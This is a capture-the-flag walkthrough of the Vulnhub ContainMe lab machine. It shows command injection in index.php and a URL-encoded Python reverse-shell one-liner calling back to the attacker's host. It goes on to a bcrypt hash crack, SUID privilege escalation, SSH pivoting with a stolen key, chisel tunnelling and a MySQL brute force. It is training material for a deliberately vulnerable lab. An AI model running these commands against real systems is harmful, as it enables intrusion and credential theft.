Vulnhub ContainMe: 1 Walkthrough
https://www.vulnhub.com/entry/containme-1,729/
Interesting machine. Need ELF analysis, multi-layer port forward, etc. Learned new things.
Scan ports.
~ nmap -sV -sC -p- 192.168.33.142 -oN ports.log[[195/235]
...
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ec:5f:8a:1d:59:b3:59:2f:49:ef:fb:f4:4a:d0:1d:7a (ECDSA)
|_ 256 b1:4a:22:dc:7f:60:e4:fc:08:0c:55:4f:e4:15:e0:fa (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open EtherNetIP-1?
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
8022/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ppa1+obfuscated (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:ae:ea:27:3f:ab:10:ae:8c:2e:b3:0c:5b:d5:42:bc (RSA)
| 256 67:29:75:04:74:1b:83:d3:c8:de:6d:65:fe:e6:07:35 (ECDSA)
|_ 256 7f:7e:89:c4:e0:a0:da:92:6e:a6:70:45:fc:43:23:84 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Scan port 80.
~ gobuster dir -u http://192.168.33.142 -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .html,.php,.txt,.php.bak,.bak,.zip -b 401,403,404,500 --wildcard -o 80.log
===============================================================
/info.php (Status: 200) [Size: 68948]
/index.html (Status: 200) [Size: 10918]
/index.php (Status: 200) [Size: 329]
Check index.php, it will list files of current dir.
~ curl http://192.168.33.142/index.php
<html>
<body>
<pre>
total 28K
drwxr-xr-x 2 root root 4.0K Jul 16 11:40 .
drwxr-xr-x 3 root root 4.0K Jul 15 17:11 ..
-rw-r--r-- 1 root root 11K Jul 15 17:11 index.html
-rw-r--r-- 1 root root 154 Jul 16 11:40 index.php
-rw-r--r-- 1 root root 20 Jul 15 17:27 info.php
<pre>
<!-- where is the path ? -->
</body>
</html>
Maybe index.php has LFI. Fuzz the param name.
~ wfuzz -u 'http://192.168.33.142/index.php?FUZZ=id' --hh 329 -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000013516: 200 10 L 13 W 79 Ch "path"
It has code injection.
```bash
~ curl 'http://192.168.33.142/index.php?path=;id'; ...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
...
Get reverse shell as www-data.
```bash
~ nc -nlvp 1234
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.33.142.
Ncat: Connection from 192.168.33.142:60146.
bash: cannot set terminal process group (242): Inappropriate ioctl for device
bash: no job control in this shell
www-data@host1:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@host1:/var/www/html$
────────────────────────────────────────────────────────────────────────────────────────────────────────
~ curl 'http://192.168.33.142/index.php?path=;python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.33.128%22,1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(%5B%22%2fbin%2fbash%22,%22-i%22%5D);%27'
Now we have reverse shell of host1. In /home/mike, found interesting file named 1cryptupx.
```bash
www-data@host1:/home/mike$ ls -la
ls -la
total 384
drwxr-xr-x 5 mike mike 4096 Jul 30 04:36 .
drwxr-xr-x 3 root root 4096 Jul 19 15:03 ..
lrwxrwxrwx 1 root mike 9 Jul 19 15:06 .bash_history -> /dev/null
-rw-r--r-- 1 mike mike 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 mike mike 3771 Apr 4 2018 .bashrc
drwx------ 2 mike mike 4096 Jul 30 04:36 .cache
drwx------ 3 mike mike 4096 Jul 30 04:36 .gnupg
-rw-r--r-- 1 mike mike 807 Apr 4 2018 .profile
drwx------ 2 mike mike 4096 Jul 19 15:27 .ssh
-rwxr-xr-x 1 mike mike 358668 Jul 30 04:39 1cryptupx
Run 1cryptupx with any string param, showed decompress error.
```bash
www-data@host1:/home/mike$ ./1cryptupx string
./1cryptupx string
░█████╗░██████╗░██╗░░░██╗██████╗░████████╗░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
██╔══██╗██╔══██╗╚██╗░██╔╝██╔══██╗╚══██╔══╝██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██║░░╚═╝██████╔╝░╚████╔╝░██████╔╝░░░██║░░░╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║░░██╗██╔══██╗░░╚██╔╝░░██╔═══╝░░░░██║░░░░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
╚█████╔╝██║░░██║░░░██║░░░██║░░░░░░░░██║░░░██████╔╝██║░░██║███████╗███████╗███████╗
░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░░░░░░╚═╝░░░╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
Unable to decompress.
We need to download 1cryptupx to local kali. Here I use xxd to display hex data of the file.
```bash
curl 'http://192.168.33.142/index.php?path=;xxd%20-ps%20/home/mike/1cryptupx';
...
0f7fb80039b93030919edc6e21ff1f407f40342f624343421f9e7f281839
f2788f787f88ffec8617bba37f0090ff807fb9d845c1d87fac7fe04d143c
39e0101a7fb292b393a1ffab9b7f680739f24226c468b268a2e1b8281808
ffd27fd19edc6e1f807f70e098ff3b902f36d77f604b4e28ff2d76c145eb
7f302f812d98867f277f0fa6db548103af977ff4ff9224098b00002a49ff
000000005550582100000000555058210d1608096e14e678c6222cc76007
000042020000d0a90d00491b00a2f4000000
<pre>
<!-- where is the path ? -->
</body>
</html>
Then restore 1cryptupx through cyberchef.
image-20210901141024237.png
Use upx to decompress.
```bash
~ upx -d -o dec 1cryptupx fish-0 | 0 [14:11:26]
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
File size Ratio Format Name
-------------------- ------ ----------- -----------
895440 <- 358668 40.05% linux/amd64 dec
Unpacked 1 file.
Decompile the file in ghidra, found key string "Unable to decompress", locate the key function.
undefined8 FUN_004016ad(int param_1,long param_2)
{
...
if (param_1 == 2) {
uVar3 = *(undefined8 *)(param_2 + 8);
uStack1056 = 0x401721;
iVar1 = thunk_FUN_004010d6(uVar3,&DAT_004955cb);
pcVar4 = "\nYou wish!";
if (iVar1 != 0) {
uStack1056 = 0x40173a;
thunk_FUN_0040101e(auStack1048,uVar3);
uStack1056 = 0x401742;
lVar2 = thunk_FUN_004010d6(auStack1048);
if (auStack1048[lVar2 + -1] == '\n') {
auStack1048[lVar2 + -1] = 0;
}
uStack1056 = 0x40175d;
uVar3 = FUN_00401d90(auStack1048,"$2b$15$TXl.yuAF49958vsn1dqPfe");
uStack1056 = 0x40176c;
iVar1 = thunk_FUN_004010d6(uVar3,
"$2b$15$TXl.yuAF49958vsn1dqPfeR9YpyBuWAZrm/dTG5vuG6m3kJkMXWm6");
if (iVar1 == 0) {
uStack1056 = 0x40177b;
FUN_00453290(0,0,0);
uStack1056 = 0x401787;
FUN_0041ddc0("/bin/bash");
return 0;
}
pcVar4 = "Unable to decompress.";
}
uStack1056 = 0x401795;
FUN_0041eaa0(pcVar4);
}
return 0;
}
In this function, we get an hash string. It means if we input the correct password, the function will call "/bin/bash" as root.
We save the hash string into hash.txt.
~ echo '$2b$15$TXl.yuAF49958vsn1dqPfeR9YpyBuWAZrm/dTG5vuG6m3kJkMXWm6' > hash.txt
Use john to brute force the hash.
~ john --wordlist=/usr/share/wordlists/seclists/Passwords/Common-Credentials/10k-most-common.txt hash.txt vim-0 | 0 [20:32:26]
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mike (?)
1g 0:00:02:03 DONE (2021-08-31 20:36) 0.008120g/s 1.461p/s 1.461c/s 1.461C/s internet..john
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Now we get the password of the file.
Search files with SUID.
www-data@host1:/home/mike$ find / -perm -u=s 2>/dev/null
find / -perm -u=s 2>/dev/null
/usr/share/man/zh_TW/crypt
/usr/bin/newuidmap
/usr/bin/newgidmap
...
Notice the first file, run crypt with password, we get root on host1.
```bash
www-data@host1:/home/mike$ /usr/share/man/zh_TW/crypt mike
/usr/share/man/zh_TW/crypt mike
░█████╗░██████╗░██╗░░░██╗██████╗░████████╗░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
██╔══██╗██╔══██╗╚██╗░██╔╝██╔══██╗╚══██╔══╝██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██║░░╚═╝██████╔╝░╚████╔╝░██████╔╝░░░██║░░░╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║░░██╗██╔══██╗░░╚██╔╝░░██╔═══╝░░░░██║░░░░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
╚█████╔╝██║░░██║░░░██║░░░██║░░░░░░░░██║░░░██████╔╝██║░░██║███████╗███████╗███████╗
░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░░░░░░╚═╝░░░╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
root@host1:/home/mike# id
uid=0(root) gid=33(www-data) groups=33(www-data)
Check local ips, notice an interesting IP in another network range.
```bash
root@host1:/home/mike# ifconfig
...
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.16.20.2 netmask 255.255.255.0 broadcast 172.16.20.255
inet6 fe80::216:3eff:fe46:6b29 prefixlen 64 scopeid 0x20<link>
...
Scan for live hosts on this ip range with bash command, found live host 172.16.20.6.
root@host1:~# for i in {1..254} ;do (ping 172.16.20.$i -c 1 -w 5 >/dev/null && echo "172.16.20.$i" &) ;done
172.16.20.2
172.16.20.6
Scan for open ports of host2.
for port in {1..65535}; do
echo >/dev/tcp/172.16.20.6/$port &&
echo "port $port is open"
done 2>/dev/null |grep open
...
port 22 is open
Here is a little tricky. We can login host2 with user name mike and id_rsa of mike on host1.
root@host1:/# cd /home/mike/.ssh/
root@host1:/home/mike/.ssh# ssh mike@172.16.20.6 -i id_rsa
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Mon Jul 19 20:23:18 2021 from 172.16.20.2
mike@host2:~$
Check local ports of host2, mysql is running.
mike@host2:/home$ ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
We need to port forward 3306 outside, in order to brute force it.
First, on host1, we use ssh -L to map host2:3306 ==> host1:3306.
root@host1:/home/mike/.ssh# ssh -g -L 3306:127.0.0.1:3306 mike@172.16.20.6 -i id_rsa
Check ports of host1, 3306 is open.
root@host1:~# ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:* users:(("systemd-resolve",pid=138,fd=13))
LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=199,fd=3))
LISTEN 0 128 127.0.0.1:3306 0.0.0.0:* users:(("ssh",pid=1870,fd=5))
LISTEN 0 128 *:80 *:* users:(("apache2",pid=613,fd=4),("apache2",pid=602,fd=4),("apache2",pid=592,fd=4),("apache2",pid=457,fd=4),("apache2",pid=375,fd=4),("apache2",pid=270,fd=4),("apache2",pid=269,fd=4),("apache2",pid=268,fd=4),("apache2",pid=257,fd=4))
LISTEN 0 128 [::]:22 [::]:* users:(("sshd",pid=199,fd=4))
LISTEN 0 128 [::1]:3306 [::]:* users:(("ssh",pid=1870,fd=4))
Then we need to map host1:3306 outside to kali, but host1 has limits, so ssh and socat all don't work. We have to use chisel.
On kali, run chisel server.
~ ./chisel server -p 8080 --reverse
2021/09/01 13:26:59 server: Reverse tunnelling enabled
2021/09/01 13:26:59 server: Fingerprint QJGGHnimzCp6x3qmFZtvSyGo1ycXNZT7o9iyG537DF8=
2021/09/01 13:26:59 server: Listening on http://0.0.0.0:8080
Then on host1, run chisel client.
root@host1:~# ./chisel client http://192.168.33.128:33060 R:3306:127.0.0.1:33060
Now check port of kali, port 3306 is open.
The path is: kali:3306 ==> host1:3306 ==> host2:3306.
~ ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 50 127.0.0.1:9614 0.0.0.0:*
LISTEN 0 511 127.0.0.1:6463 0.0.0.0:*
LISTEN 0 4096 *:3306 *:*
LISTEN 0 4096 *:8080 *:*
Use medusa to bruteforce password of mysql on kali.
~ medusa -h 127.0.0.1 -M mysql -u mike -P /usr/share/wordlists/rock_ascii.txt -t 50
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
...
ACCOUNT FOUND: [mysql] Host: 127.0.0.1 User: mike Password: password [SUCCESS]
...
Next on host2, login mysql, get password of root.
mysql> select * from users;
+-------+---------------------+
| login | password |
+-------+---------------------+
| root | bjsig4868fgjjeog |
| mike | WhatAreYouDoingHere |
+-------+---------------------+
2 rows in set (0.00 sec)
Su to root on host2. Found mike.zip in /root.
root@host2:~# ls -la
total 28
drwx------ 4 root root 4096 Jul 19 20:35 .
drwxr-xr-x 22 root root 4096 Jun 29 08:07 ..
lrwxrwxrwx 1 root root 9 Jul 19 20:32 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwxr-xr-x 3 root root 4096 Jul 15 14:47 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Jul 15 14:41 .ssh
-rw------- 1 root root 218 Jul 16 02:26 mike.zip
Unzip mike.zip with password from database. Get final flag.
oot@host2:~# unzip mike.zip
Archive: mike.zip
[mike.zip] mike password:
extracting: mike
root@host2:~# cat mike
THM{_Y0U_F0UND_TH3_C0NTA1N3RS_}
root@host2:~# id;hostname
uid=0(root) gid=0(root) groups=0(root)
host2